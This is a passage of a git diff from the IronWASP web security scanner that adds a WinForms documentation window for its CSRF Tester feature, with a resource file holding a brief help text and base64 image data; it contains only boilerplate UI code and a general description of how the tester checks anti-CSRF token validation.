System.Windows.Forms.Label label2; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.PictureBox pictureBox4; + private System.Windows.Forms.PictureBox pictureBox5; + private System.Windows.Forms.PictureBox pictureBox7; + private System.Windows.Forms.PictureBox pictureBox6; + } +} \ No newline at end of file diff --git a/Iron/Docs/DocForCsrfTester.cs b/Iron/Docs/DocForCsrfTester.cs new file mode 100644 index 0000000..cfbebff --- /dev/null +++ b/Iron/Docs/DocForCsrfTester.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Docs +{ + public partial class DocForCsrfTester : Form + { + public DocForCsrfTester() + { + InitializeComponent(); + } + + static DocForCsrfTester DocWindow = null; + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + DocWindow = new DocForCsrfTester(); + DocWindow.Show(); + } + DocWindow.Activate(); + } + + static bool IsWindowOpen() + { + if (DocWindow == null) + { + return false; + } + else if (DocWindow.IsDisposed) + { + return false; + } + else + { + return true; + } + } + } +} diff --git a/Iron/Docs/DocForCsrfTester.resx b/Iron/Docs/DocForCsrfTester.resx new file mode 100644 index 0000000..0994890 --- /dev/null +++ b/Iron/Docs/DocForCsrfTester.resx @@ -0,0 +1,2979 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Important actions are usually protected against CSRF attacks with an anti-CSRF token. But some sections of the site might not validate this token properly which makes them vulnerable to CSRF attacks. + +The CSRF Tester feature of IronWASP can be used to find areas where the anti-CSRF token is not properly validated. + +To use this feature the user must first use a browser with IronWASP configured as proxy to browse through the site submitting critical forms. Once all this traffic is captured in IronWASP, the user can select the Requests that contain an anti-CSRF token, then reissue these Requests with an invalid or empty CSRF token. To check if the application rejected the requests with the invalid tokens we compare the responses of requests sent with invalid token to the responses of the requests in the logs which contained the valid token. + + + + + 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 + 